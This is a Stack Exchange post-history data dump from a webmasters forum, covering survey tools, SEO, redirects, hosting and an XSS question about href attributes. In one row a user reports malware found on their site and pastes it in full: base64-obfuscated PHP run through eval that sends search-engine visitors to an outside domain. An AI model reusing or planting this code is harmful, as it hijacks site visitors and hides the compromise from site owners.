  <row Id="25779" PostHistoryTypeId="5" PostId="11391" RevisionGUID="ae916973-1bf7-42f7-af99-144b79361db5" CreationDate="2011-03-30T11:32:42.367" UserId="5739" Comment="added 437 characters in body; deleted 103 characters in body" Text="As has been pointed out my answer wasn't an answer...&#xD;&#xA;&#xD;&#xA;So here is an answer.&#xD;&#xA;&#xD;&#xA;A company that provides this service is: [OpinionLab][1]&#xD;&#xA;&#xD;&#xA;And an example of this in action is here on [Dell's site][2]: look at the bottom of the page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### Old not an answer ####&#xD;&#xA;&#xD;&#xA;You can add any link/image to a survey that you like but one of the survey companies that a lot of the businesses I deal with use [Survey Monkey][3]&#xD;&#xA;&#xD;&#xA;They offer a [free plan][4] which will give you 10 questions per survey and 100 responses per survey. From there the £24 a month package gives you Unlimited questions and 1,000 responses per month ($0.10 per additional response).&#xD;&#xA;&#xD;&#xA;BTW, don't forget to offer some form of incentive to people who complete the survey because this will: &#xD;&#xA;&#xD;&#xA; 1. Result in more responses&#xD;&#xA; 2. Allow you to collect email addresses for future (opt in) advertising)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://opinionlab.com&#xD;&#xA;  [2]: http://www.dell.co.uk/&#xD;&#xA;  [3]: http://www.surveymonkey.com&#xD;&#xA;  [4]: http://www.surveymonkey.com/pricing/?utm_source=header" />
  <row Id="25780" PostHistoryTypeId="5" PostId="11391" RevisionGUID="5c765607-8fcb-4df1-b8a3-cc774555f4c2" CreationDate="2011-03-30T11:38:21.613" UserId="5739" Comment="added 161 characters in body" Text="As has been pointed out my original answer wasn't an answer...&#xD;&#xA;&#xD;&#xA;So here is an answer.&#xD;&#xA;&#xD;&#xA;A company that provides this service is: [OpinionLab][1]&#xD;&#xA;&#xD;&#xA;And an example of this in action is here on [Dell's site][2]: look at the bottom of the page just above the country specific web sites.&#xD;&#xA;&#xD;&#xA;### Old not an answer ####&#xD;&#xA;*I would have deleted this content here but then the comment below wouldn't be relevant so I have left it in.*&#xD;&#xA;&#xD;&#xA;You can add any link/image to a survey that you like but one of the survey companies that a lot of the businesses I deal with use [Survey Monkey][3]&#xD;&#xA;&#xD;&#xA;They offer a [free plan][4] which will give you 10 questions per survey and 100 responses per survey. From there the £24 a month package gives you Unlimited questions and 1,000 responses per month ($0.10 per additional response).&#xD;&#xA;&#xD;&#xA;BTW, don't forget to offer some form of incentive to people who complete the survey because this will: &#xD;&#xA;&#xD;&#xA; 1. Result in more responses&#xD;&#xA; 2. Allow you to collect email addresses for future (opt in) advertising)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://opinionlab.com&#xD;&#xA;  [2]: http://www.dell.co.uk/&#xD;&#xA;  [3]: http://www.surveymonkey.com&#xD;&#xA;  [4]: http://www.surveymonkey.com/pricing/?utm_source=header" />
  <row Id="25781" PostHistoryTypeId="5" PostId="11392" RevisionGUID="e666fc13-818b-42e2-a46c-203de77a915c" CreationDate="2011-03-30T12:00:04.907" UserId="6441" Comment="Edited background." Text="I wonder if `href` and `src` attributes on `&lt;a&gt;` and `&lt;img&gt;` tags are always safe w.r.t. XSS attacks, if they start with `http://` or `https://`.&#xD;&#xA;&#xD;&#xA;For example, is it possible to append `javascript: ...` to the `href` and `src` attribute in some manner, to execute code?&#xD;&#xA;&#xD;&#xA;**Disregarding** whether or not the destination page is e.g. a pishing site, or the `&lt;img src=...&gt;` triggers a terribly troublesome HTTP GET request.&#xD;&#xA;&#xD;&#xA;Background: I'm processing text with markdown, and then I sanitize the resulting HTML (using Google Caja's [JsHtmlSanitizer][1]). Some sample code in Google Caja assumes all `href`s and `src`s that start with `http://` or `https://` are safe -- I wonder if it's safe to use that sample code.&#xD;&#xA;&#xD;&#xA;Kind regards,  &#xD;&#xA;Kaj-Magnus&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/google-caja/wiki/JsHtmlSanitizer&#xD;&#xA;" />
  <row Id="25782" PostHistoryTypeId="25" PostId="11393" RevisionGUID="76be11af-e7ef-485b-a82f-45ae60fb2cc3" CreationDate="2011-03-30T12:00:22.940" Comment="http://twitter.com/#!/StackWebmasters/status/53064019715686400" />
  <row Id="25783" PostHistoryTypeId="2" PostId="11398" RevisionGUID="91d64d22-b05b-4a4d-a317-e1adeae16952" CreationDate="2011-03-30T12:20:31.677" UserId="6335" Text="There is a web-site, that contains reviews of computers, software etc.&#xD;&#xA;&#xD;&#xA;How to promote it ?&#xD;&#xA;&#xD;&#xA;I have several ideas:&#xD;&#xA;&#xD;&#xA; 1. Answering questions, people asking on, say, Google Answers, Yahoo Answers etc.&#xD;&#xA;&#xD;&#xA; 2. I have a bunch of video, that i've uploaded to YouTube and some other hostings.&#xD;&#xA;&#xD;&#xA;These methods requires a lot of routine work. I've thinking about link-markets, but did't tried they yet. It is a good way ?&#xD;&#xA;&#xD;&#xA;I've also have questions about search engines:&#xD;&#xA;&#xD;&#xA;Question 1: Will i penalized by search engine, when i set the same description for video on several hostings ? Or i need to rephrase every description for the same video ?&#xD;&#xA;&#xD;&#xA;Question 2: In description for video, say, in YouTube, i cannot place a link, but can write it in plain text, like www.example.com. Will it handled by SE as an actual link ?&#xD;&#xA;&#xD;&#xA;Question 3: In every description for video, i write in plain text: &quot;go to www.example.com&quot; for more information. Will it have some positive or negative impact on my ranking ?&#xD;&#xA;" />
  <row Id="25784" PostHistoryTypeId="1" PostId="11398" RevisionGUID="91d64d22-b05b-4a4d-a317-e1adeae16952" CreationDate="2011-03-30T12:20:31.677" UserId="6335" Text="Common steps to promote a web-site for devices reviews ?" />
  <row Id="25785" PostHistoryTypeId="3" PostId="11398" RevisionGUID="91d64d22-b05b-4a4d-a317-e1adeae16952" CreationDate="2011-03-30T12:20:31.677" UserId="6335" Text="&lt;seo&gt;&lt;website-promotion&gt;" />
  <row Id="25786" PostHistoryTypeId="2" PostId="11399" RevisionGUID="99497855-4976-42d5-ad3f-d9c74cdae1de" CreationDate="2011-03-30T12:27:06.163" UserId="5739" Text="I know you have asked for royalty free, *free* templates and I have listed a few sites, but I have also listed some royalty free, *paid* template sites as well.&#xD;&#xA;&#xD;&#xA;As already stated, free templates usually come with terms &amp; conditions where you have to credit either the author or the site they came from in the form of a backlink with specific rules on the form of the link and anchor text. &#xD;&#xA;&#xD;&#xA;The paid sites have catches as as well. Take for example Boxed Art. Their terms stipulate that you have to register your clients on their site and that you have to have a current membership to do this. This means that you can't download loads of templates during the 1 month membership then continue to develop templates for clients afterwards.&#xD;&#xA;&#xD;&#xA;But Boxed Art does give access to a lot of sister sites with free stock photos, clipart (urgh), logos, branding, print templates etc.&#xD;&#xA;&#xD;&#xA;Hope this helps.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Royalty Free (Free templates)**&#xD;&#xA;&#xD;&#xA;http://www.freewebtemplates.com&#xD;&#xA;&#xD;&#xA;http://www.freecsstemplates.org&#xD;&#xA;&#xD;&#xA;http://www.freewpthemes.net/ (Wordpress themes)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;http://www.freelayoutsworld.com/&#xD;&#xA;&#xD;&#xA;http://www.free-css-templates.com/&#xD;&#xA;&#xD;&#xA;http://www.templateworld.com/free_templates.html&#xD;&#xA;&#xD;&#xA;http://www.freetemplatesonline.com/&#xD;&#xA;&#xD;&#xA;http://www.freewebsitetemplates.com/&#xD;&#xA;&#xD;&#xA;http://www.oswd.org/ &#xD;&#xA;&#xD;&#xA;http://www.mastertemplates.com/free-templates.htm&#xD;&#xA;&#xD;&#xA;http://www.steves-templates.com/templates.html&#xD;&#xA;&#xD;&#xA;http://www.freelayouts.com/websites&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Royalty Free (Paid Templates)**&#xD;&#xA;&#xD;&#xA;http://www.templatemonster.com/ (per template pricing)&#xD;&#xA;&#xD;&#xA;http://allwebco-templates.com/ (per template pricing)&#xD;&#xA;&#xD;&#xA;http://www.templatefreak.com/ (per template pricing)&#xD;&#xA;&#xD;&#xA;http://www.designgalaxy.net (per template pricing)&#xD;&#xA;&#xD;&#xA;http://www.boxedart.com/ (subscription basis)&#xD;&#xA;&#xD;&#xA;http://templaterover.com/ (subscription basis)&#xD;&#xA;&#xD;&#xA;http://www.pixelmill.com/Default.aspx (subscription basis)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25787" PostHistoryTypeId="2" PostId="11400" RevisionGUID="ddc66bb8-52a4-4273-95ab-c8ba39c13d2e" CreationDate="2011-03-30T12:46:40.500" UserId="6198" Text="you can make one code which detects from where the person is coming.&#xD;&#xA;and then redirect according to the location to that domain.&#xD;&#xA;and all the domains should be pointed to the same server where you host your files.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;so suppose the person comes to yoursite.com and he's coming from UK, then your code should redirect him to yoursite.co.uk's homepage. you'll need IP detection to check the place from where the person is visiting." />
  <row Id="25788" PostHistoryTypeId="2" PostId="11401" RevisionGUID="52dc1c4e-9735-471b-b02e-acf1de97b3bb" CreationDate="2011-03-30T13:26:15.927" UserId="1253" Text="&gt; How to promote it ?&#xD;&#xA;&gt; &#xD;&#xA;&gt; I have several ideas:&#xD;&#xA;&gt; &#xD;&#xA;&gt; Answering questions, people asking on,&#xD;&#xA;&gt; say, Google Answers, Yahoo Answers&#xD;&#xA;&gt; etc.&#xD;&#xA;&gt; &#xD;&#xA;&gt; I have a bunch of video, that i've&#xD;&#xA;&gt; uploaded to YouTube and some other&#xD;&#xA;&gt; hostings.&#xD;&#xA;&gt; &#xD;&#xA;&gt; These methods requires a lot of&#xD;&#xA;&gt; routine work. I've thinking about&#xD;&#xA;&gt; link-markets, but did't tried they&#xD;&#xA;&gt; yet. It is a good way ?&#xD;&#xA;&#xD;&#xA;Those sound like good ways to promote it. Don't forget using Twitter to announce each review as I am sure people interested in that kind of stuff are monitoring it looking for new content. A Facebook page is probably mandatory at this point in time. Twitter, Stumbleupon, and Dzone and other voting links/counters are also an easy way to let your users promote your content for you.&#xD;&#xA;&#xD;&#xA;&gt; Question 1: Will i penalized by search&#xD;&#xA;&gt; engine, when i set the same&#xD;&#xA;&gt; description for video on several&#xD;&#xA;&gt; hostings ? Or i need to rephrase every&#xD;&#xA;&gt; description for the same video ?&#xD;&#xA;&#xD;&#xA;Since they are not on your site you won't be penalized. The other pages *may* run afoul of duplicate content issues but I doubt it since there's probably other content on the page to help reduce the risk. But if you want to be absolutely sure change each description around a little bit. Just enough so they're different.&#xD;&#xA;&#xD;&#xA;&gt; Question 2: In description for video,&#xD;&#xA;&gt; say, in YouTube, i cannot place a&#xD;&#xA;&gt; link, but can write it in plain text,&#xD;&#xA;&gt; like www.example.com. Will it handled&#xD;&#xA;&gt; by SE as an actual link ?&#xD;&#xA;&#xD;&#xA;No. But think outside of the box. There's more to the world then SEO. If someone visits your site because they found your URL with that video then it was worth it.&#xD;&#xA;&#xD;&#xA;&gt; Question 3: In every description for&#xD;&#xA;&gt; video, i write in plain text: &quot;go to&#xD;&#xA;&gt; www.example.com&quot; for more information.&#xD;&#xA;&gt; Will it have some positive or negative&#xD;&#xA;&gt; impact on my ranking ?&#xD;&#xA;&#xD;&#xA;No impact since they are not links. But it is still good for marketing purposes." />
  <row Id="25789" PostHistoryTypeId="2" PostId="11402" RevisionGUID="ee6901a3-91a9-44fa-a16d-7590e8fab271" CreationDate="2011-03-30T13:48:40.407" UserId="5727" Text="I'm looking for an ASP.net webhost, to run my site with an SQL Server database.&#xD;&#xA;&#xD;&#xA;I've found a good host, but like all of them, adding on SQL Server costs a fortune for some reason, or I can just use SQL Server 2008 R2 Express for free on them.&#xD;&#xA;&#xD;&#xA; - Is SQL Server 2008 R2 Express good enough for a medium size website?&#xD;&#xA; - What are the limitations with SQL Server 2008 R2 Express?" />
  <row Id="25790" PostHistoryTypeId="1" PostId="11402" RevisionGUID="ee6901a3-91a9-44fa-a16d-7590e8fab271" CreationDate="2011-03-30T13:48:40.407" UserId="5727" Text="SQL Server and hosting" />
  <row Id="25791" PostHistoryTypeId="3" PostId="11402" RevisionGUID="ee6901a3-91a9-44fa-a16d-7590e8fab271" CreationDate="2011-03-30T13:48:40.407" UserId="5727" Text="&lt;web-hosting&gt;&lt;dedicated-hosting&gt;&lt;virtualhost&gt;&lt;sql-server&gt;" />
  <row Id="25792" PostHistoryTypeId="6" PostId="11402" RevisionGUID="c71d1fa5-5f74-4893-a0c6-77097b70b441" CreationDate="2011-03-30T13:50:54.137" UserId="1253" Comment="removed &quot;web-hosting dedicated-hosting virtualhost&quot; tags" Text="&lt;sql-server&gt;" />
  <row Id="25793" PostHistoryTypeId="2" PostId="11403" RevisionGUID="1928b55d-5bca-472c-a049-3ee91dd4efc2" CreationDate="2011-03-30T14:07:00.663" UserId="6445" Text="I need to be able to automatically redirect a URL that was registered with Google to another URL. No access to server or anything like that. Is there a way to do this with just messing with the DNS?" />
  <row Id="25794" PostHistoryTypeId="1" PostId="11403" RevisionGUID="1928b55d-5bca-472c-a049-3ee91dd4efc2" CreationDate="2011-03-30T14:07:00.663" UserId="6445" Text="Someone registered a domain through google, how can I redirect that url to another site?" />
  <row Id="25795" PostHistoryTypeId="3" PostId="11403" RevisionGUID="1928b55d-5bca-472c-a049-3ee91dd4efc2" CreationDate="2011-03-30T14:07:00.663" UserId="6445" Text="&lt;google&gt;&lt;redirects&gt;&lt;domain-names&gt;" />
  <row Id="25796" PostHistoryTypeId="5" PostId="11373" RevisionGUID="1ee1e738-44e0-4817-b0c7-aa7d41caf5ca" CreationDate="2011-03-30T14:18:42.093" UserId="1064" Comment="Added example" Text="Try converting your `mod_alias` redirects into `mod_rewrite` directives.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Edit:** Example below assumes that you have replaced old ASP files with PHP files under the same path.&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    &#xD;&#xA;    # *.asp -&gt; *.php&#xD;&#xA;    RewriteRule (.*)\.asp$ /$1.php [R=301,L]&#xD;&#xA;    &#xD;&#xA;    # tracking script&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteRule ^(.*)$ /tracking.php?$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25797" PostHistoryTypeId="2" PostId="11404" RevisionGUID="f1050000-16e7-4cbb-870f-6b74a9c42d21" CreationDate="2011-03-30T14:22:10.137" UserId="6446" Text="You just need to:&#xD;&#xA;&#xD;&#xA;  - register the international domains;&#xD;&#xA;  - point them to your provider;&#xD;&#xA;  - setup your provider nameservers to server all that domains;&#xD;&#xA;  - use HTTP_HOST environment variable in your code to detect from which domain the user is accessing, if that matters.&#xD;&#xA;" />
  <row Id="25798" PostHistoryTypeId="5" PostId="11373" RevisionGUID="3fce886e-a4d1-449f-857b-f250c238c8da" CreationDate="2011-03-30T14:27:24.120" UserId="1064" Comment="Added alternate example solution" Text="Try converting your `mod_alias` redirects into `mod_rewrite` directives.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Edit:** Example below assumes that you have replaced old ASP files with PHP files under the same path.&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    &#xD;&#xA;    # *.asp -&gt; *.php&#xD;&#xA;    RewriteRule (.*)\.asp$ /$1.php [R=301,L]&#xD;&#xA;    &#xD;&#xA;    # tracking script&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteRule ^(.*)$ /tracking.php?$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;... or you can skip the regular expression variable and set an explicit redirect for each of the old URI's:&#xD;&#xA;&#xD;&#xA;    RewriteRule about\.asp$ /about.php [R=301,L]&#xD;&#xA;    RewriteRule capabilities\.asp$ /capabilities.php [R=301,L]&#xD;&#xA;    RewriteRule capacitors\.asp$ /capacitors.php [R=301,L]&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25799" PostHistoryTypeId="2" PostId="11405" RevisionGUID="e5e030e6-d0b2-4c26-8f4a-9b9c149b93e3" CreationDate="2011-03-30T14:35:18.937" UserId="6113" Text="Media Temple ([http://mediatemple.net/][1]) or Rackspace ([http://www.rackspace.com/][2]) should have a solution for you. Of course, everything depends on how much you would like to pay.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mediatemple.net/&#xD;&#xA;  [2]: http://www.rackspace.com/" />
  <row Id="25800" PostHistoryTypeId="2" PostId="11406" RevisionGUID="dfc2a5ef-1cf2-40cb-aa15-6820b593c16d" CreationDate="2011-03-30T14:31:54.737" UserId="195" Text="I have seen some fascinating statistics about what HTML markup is actually in use on the web.&#xD;&#xA;&#xD;&#xA;There is [Web Authoring Statistics][1] from Google in 2005, and [MAMA][2] from Opera in 2008.&#xD;&#xA;&#xD;&#xA;Have there been any similar studies more recently than this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/webstats/index.html&#xD;&#xA;  [2]: http://dev.opera.com/articles/view/mama/" />
  <row Id="25801" PostHistoryTypeId="1" PostId="11406" RevisionGUID="dfc2a5ef-1cf2-40cb-aa15-6820b593c16d" CreationDate="2011-03-30T14:31:54.737" UserId="195" Text="Recent statistics on HTML usage in the wild?" />
  <row Id="25802" PostHistoryTypeId="3" PostId="11406" RevisionGUID="dfc2a5ef-1cf2-40cb-aa15-6820b593c16d" CreationDate="2011-03-30T14:31:54.737" UserId="195" Text="&lt;html&gt;" />
  <row Id="25803" PostHistoryTypeId="17" PostId="11406" RevisionGUID="81432eba-e8e6-4e33-8651-82a85996cdac" CreationDate="2011-03-30T14:48:48.483" UserId="-1" Comment="from http://stackoverflow.com/questions/5487740/recent-statistics-on-html-usage-in-the-wild" Text="" />
  <row Id="25804" PostHistoryTypeId="2" PostId="11407" RevisionGUID="80c12ba6-101b-4c30-a78c-59d716960fda" CreationDate="2011-03-30T14:49:08.367" UserId="5727" Text="I am going through the process of porting all forum data from PHP to ASP.net, it's quite a long and difficult process.  There are around 30,000 threads, it's been online for quite a few years.&#xD;&#xA;&#xD;&#xA;How important is it for me to do 301 redirects from those forum posts to the new forum posts address?  It would be quite a painstaking, difficult and slow process matching them up.&#xD;&#xA;&#xD;&#xA;Does it matter that much?  Should I just take the SEO hit and start fresh with the new one and just wait for Google to reindex it all?  Or should I be spending time on this." />
  <row Id="25805" PostHistoryTypeId="1" PostId="11407" RevisionGUID="80c12ba6-101b-4c30-a78c-59d716960fda" CreationDate="2011-03-30T14:49:08.367" UserId="5727" Text="How important is it to 301 redirect forum posts" />
  <row Id="25806" PostHistoryTypeId="3" PostId="11407" RevisionGUID="80c12ba6-101b-4c30-a78c-59d716960fda" CreationDate="2011-03-30T14:49:08.367" UserId="5727" Text="&lt;301-redirect&gt;" />
  <row Id="25807" PostHistoryTypeId="2" PostId="11408" RevisionGUID="79ddac1d-9178-4cc3-bf35-06e61cd784bd" CreationDate="2011-03-30T14:49:40.783" UserId="1953" Text="The Google help page says you can access your hosting account by clicking the &quot;advanced DNS settings&quot; link in the control panel. &#xD;&#xA;&#xD;&#xA;http://www.google.com/support/a/bin/answer.py?answer=53929&#xD;&#xA;&#xD;&#xA;From that page:&#xD;&#xA;&quot;Google doesn't register or host domain names. We've partnered with a few companies that offer these services to make it easier to set up a Google Apps account.&quot;&#xD;&#xA;&#xD;&#xA;This makes it sound like you can access hosting or registrar info from 3rd party sites which should give you what you need.&#xD;&#xA;&#xD;&#xA;Hope this helps." />
  <row Id="25812" PostHistoryTypeId="2" PostId="11410" RevisionGUID="21468a92-da21-4cec-9e51-91e017922fb7" CreationDate="2011-03-30T14:57:23.880" UserId="1953" Text="It probably depends on how much revenue and traffic you stand to lose from having all those pages drop out of the index as to how important it is to you. If you don't redirect them then any links you have pointing at deep pages (and helping them get or stay indexed) will be useless to the new URLs, so you'll have to do quite a bit of work to get all those new URLs indexed again.&#xD;&#xA;&#xD;&#xA;imho it will be less work to redirect then it will be to essentially start from scratch." />
  <row Id="25813" PostHistoryTypeId="25" PostId="11406" RevisionGUID="e9576a0f-d401-45be-abbe-d74d9b928fd4" CreationDate="2011-03-30T15:00:22.910" Comment="http://twitter.com/#!/StackWebmasters/status/53109318299549697" />
  <row Id="25814" PostHistoryTypeId="2" PostId="11411" RevisionGUID="ef2eb05c-d084-4458-9264-b93753a5ba23" CreationDate="2011-03-30T15:01:31.217" UserId="1253" Text="30,000 threads is *a lot* of content to lose. I know I'd explore every option available to me to get those redirects done.&#xD;&#xA;&#xD;&#xA;I would think that if your old forum and new forums both have a consistent structured URL for threads that you could either write one rewrite rule to redirect them all *or* write a script to write individual rules for you." />
  <row Id="25815" PostHistoryTypeId="2" PostId="11412" RevisionGUID="6948552a-56d0-4b4e-a319-a94c01f598cb" CreationDate="2011-03-30T15:05:06.247" UserId="1953" Text="You want to use exact match when doing research for SEO, the number of searches do reflect the number of searches performed on Google for the month however, broad and phrase match don't just count searches for that specific phrase. &#xD;&#xA;&#xD;&#xA;I personally have little trust in the local search volume number, on many searches I perform the local number is larger then the global number (which by definition is impossible unless I'm missing something). " />
  <row Id="25816" PostHistoryTypeId="2" PostId="11413" RevisionGUID="53e73c2b-f054-46a4-8c73-ea48fcb1e405" CreationDate="2011-03-30T15:16:07.840" UserId="6448" Text="I have my domain (http://www.foobar.com, for example) and my website talks about technology. I want to have another website (with other content, not about technology) inside of it (http://www.foobar.com/loremipsum). I can find http://www.foobar.com in Google Search, but http://www.foobar.com/loremipsum no ... What should I do to index this website? Thank you." />
  <row Id="25817" PostHistoryTypeId="1" PostId="11413" RevisionGUID="53e73c2b-f054-46a4-8c73-ea48fcb1e405" CreationDate="2011-03-30T15:16:07.840" UserId="6448" Text="SEO - 2 websites in the same domain" />
  <row Id="25818" PostHistoryTypeId="3" PostId="11413" RevisionGUID="53e73c2b-f054-46a4-8c73-ea48fcb1e405" CreationDate="2011-03-30T15:16:07.840" UserId="6448" Text="&lt;seo&gt;&lt;google&gt;&lt;domains&gt;&lt;google-webmaster-tools&gt;&lt;google-search&gt;" />
  <row Id="25819" PostHistoryTypeId="2" PostId="11414" RevisionGUID="6708fc7d-1f48-4a0e-ab5c-d69f8f3f8f3a" CreationDate="2011-03-30T15:22:59.410" UserId="1253" Text="1) [Submit the main page to Google directly][1]&#xD;&#xA;&#xD;&#xA;2) Submit an [XML sitemap][2]&#xD;&#xA;&#xD;&#xA;3) Link to those inner pages from anywhere. The main website or any other external website will do.&#xD;&#xA;&#xD;&#xA;FYI, ideally you'll get a second domain name for that website. It will give you more SEO opportunities and make it clearer to users that these are two separate websites.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/addurl/?continue=/addurl&#xD;&#xA;  [2]: http://sitemaps.org/" />
  <row Id="25820" PostHistoryTypeId="2" PostId="11415" RevisionGUID="f12853e5-5b9b-402a-8035-06cf179fb4d8" CreationDate="2011-03-30T15:34:01.683" UserId="6449" Text="Express is still SQL Server, has the same primary abilities and can easily be backed up and restored to Standard, Enterprise, etc when the growth requires it.&#xD;&#xA;&#xD;&#xA;You can compare express with other editions at http://www.microsoft.com/sqlserver/en/us/product-info/compare.aspx&#xD;&#xA;&#xD;&#xA;The primary difference is resource limitations.&#xD;&#xA;&#xD;&#xA;Express can only use a single CPU, 1 GB of memory and the database cannot be over 10 GB.&#xD;&#xA;&#xD;&#xA;Those numbers jump up fast on the other editions:&#xD;&#xA;&#xD;&#xA;				CPUs		Memory		Storage&#xD;&#xA;	Express		1			1 GB		10 GB  &#xD;&#xA;	Workgroup	2			4 GB		524 PB  &#xD;&#xA;	Web			4			64 GB		524 PB  &#xD;&#xA;	Standard	4			64 GB		524 PB  &#xD;&#xA;	Enterprise	8			2 TB		524 PB  &#xD;&#xA;	Datacenter	OS Limit	OS Limit	524 PB  &#xD;&#xA;&#xD;&#xA;The other differences are related to more advanced features like High Availability, Replication, etc.&#xD;&#xA;&#xD;&#xA;The reason why SQL Hosting jumps the hosting package price up so much, is they are paying the SQL Server licensing.  MySQL, SQL Server Express, PostgreSQL aren't costing them money." />
  <row Id="25821" PostHistoryTypeId="5" PostId="11362" RevisionGUID="76e369b8-ecd9-430e-8f50-cb666ac254f8" CreationDate="2011-03-30T16:15:47.430" UserId="1429" Comment="added 106 characters in body; deleted 2 characters in body" Text="If your user is **not allowed to ever change the user name** he chooses the 1st time, and you are absolutly sure that **you will never give the user the possibilty to change such user name for the rest of his life**, you could also just use this user name as a unique primary key.&#xD;&#xA;&#xD;&#xA;This is not the case when user name is the email itself, it would be nosense to not allow the user to change it ever.&#xD;&#xA;&#xD;&#xA;You can find best answers here: http://stackoverflow.com/questions/4466553/use-of-an-id-in-databases" />
  <row Id="25822" PostHistoryTypeId="2" PostId="11416" RevisionGUID="67c62df6-ca9d-47eb-8ace-9c524930d6ff" CreationDate="2011-03-30T16:39:11.413" UserId="6450" Text="You should use I deal, this is simple and fast for end users. We use Ideal a lot in NL.&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;&#xD;&#xA;Schildersdirect" />
  <row Id="25823" PostHistoryTypeId="2" PostId="11417" RevisionGUID="9ef01d20-6e31-4229-bc0d-3556726b79d0" CreationDate="2011-03-30T17:43:58.247" UserId="6113" Text="I hope this is not possible. What you are trying to do is to access the type of information others would not want to share with you. I know this does not address your question directly but maybe there is another way to achieve what you want to achieve?" />
  <row Id="25824" PostHistoryTypeId="25" PostId="11407" RevisionGUID="d75a46e3-a347-4ece-a534-7c8e9e414b21" CreationDate="2011-03-30T18:00:22.600" Comment="http://twitter.com/#!/StackWebmasters/status/53154615650299904" />
  <row Id="25825" PostHistoryTypeId="2" PostId="11418" RevisionGUID="13335577-2e74-4d1b-a2cb-bd3080d16c16" CreationDate="2011-03-30T18:24:14.467" UserId="6454" Text="I want to start learning to use wordpress or joomla.&#xD;&#xA;what is better. Wordpress or Joomla?" />
  <row Id="25826" PostHistoryTypeId="1" PostId="11418" RevisionGUID="13335577-2e74-4d1b-a2cb-bd3080d16c16" CreationDate="2011-03-30T18:24:14.467" UserId="6454" Text="What's best - or if not - what is better Wordpress vs. joomla" />
  <row Id="25827" PostHistoryTypeId="3" PostId="11418" RevisionGUID="13335577-2e74-4d1b-a2cb-bd3080d16c16" CreationDate="2011-03-30T18:24:14.467" UserId="6454" Text="&lt;wordpress&gt;&lt;joomla&gt;" />
  <row Id="25828" PostHistoryTypeId="2" PostId="11419" RevisionGUID="9a9c27f5-baf8-4b27-bd01-778afa62bfaa" CreationDate="2011-03-30T18:31:28.033" UserId="6415" Text="This was in a php file that had chmod 666&#xD;&#xA;&#xD;&#xA;    eval(base64_decode(&quot;CglpZiAoc3RyaXN0cigkX1NFUlZFUltIVFRQX1JFRkVSRVJdLCJnb29nbGUiKSkgewoJaWYgKCFzdHJpc3RyKCRfU0VSVkVSW0hUVFBfUkVGRVJFUl0sIi5udSIpIGFuZCAhc3RyaXN0cigkX1NFUlZFUltIVFRQX1JFRkVSRVJdLCJzaXRlIikgYW5kICFzdHJpc3RyKCRfU0VSVkVSW0hUVFBfUkVGRVJFUl0sImludXJsIikpewoJCXByZWdfbWF0Y2ggKCIvcVw9KC4qKS8iLCRfU0VSVkVSW0hUVFBfUkVGRVJFUl0sJGtrKTsKCQlpZiAoc3RyaXN0cigka2tbMV0sIiYiKSkgewoJCQlwcmVnX21hdGNoICgiLyguKj8pXCYvIiwka2tbMV0sJGtleTIpOwoJCQkka2V5d29yZD11cmxkZWNvZGUoJGtleTJbMV0pOwoJCX1lbHNlIHsKCQkJJGtleXdvcmQ9dXJsZGVjb2RlKCRra1sxXSk7CgkJfQoJCWhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9mZ25mZGZ0aHJ2LmJlZS5wbC8/cT0iLiRrZXl3b3JkKTsKCQlleGl0KCk7Cgl9Cgp9ZWxzZWlmIChzdHJpc3RyKCRfU0VSVkVSW0hUVFBfUkVGRVJFUl0sInlhaG9vIikpIHsKcHJlZ19tYXRjaCAoIi9wXD0oLio/KSYvIiwkX1NFUlZFUltIVFRQX1JFRkVSRVJdLCRrayk7CgkJaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL2ZnbmZkZnRocnYuYmVlLnBsLz9xPSIuJGtrWzFdKTsKCQlleGl0KCk7Cn1lbHNlaWYgKHN0cmlzdHIoJF9TRVJWRVJbSFRUUF9SRUZFUkVSXSwiYmluZyIpKSB7CnByZWdfbWF0Y2ggKCIvcVw9KC4qPykmLyIsJF9TRVJWRVJbS FRU UF9SRUZFUkVSXSwka2spOwoJCWhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9mZ25mZGZ0aHJ2LmJlZS5wbC8/cT0iLiRra1sxXSk7CgkJZXhpdCgpOwp9Cgk=&quot;));&#xD;&#xA;&#xD;&#xA;It only showed when it was visited through google yahoo or bing so i couldnt of seen the malware..." />
  <row Id="25829" PostHistoryTypeId="10" PostId="11418" RevisionGUID="0b937b6b-ccfb-4f12-b6a4-2099eed4b01c" CreationDate="2011-03-30T18:31:42.170" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="25830" PostHistoryTypeId="12" PostId="11419" RevisionGUID="a657d079-b41a-49d5-952a-3b4c7e6a89f1" CreationDate="2011-03-30T18:35:42.277" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
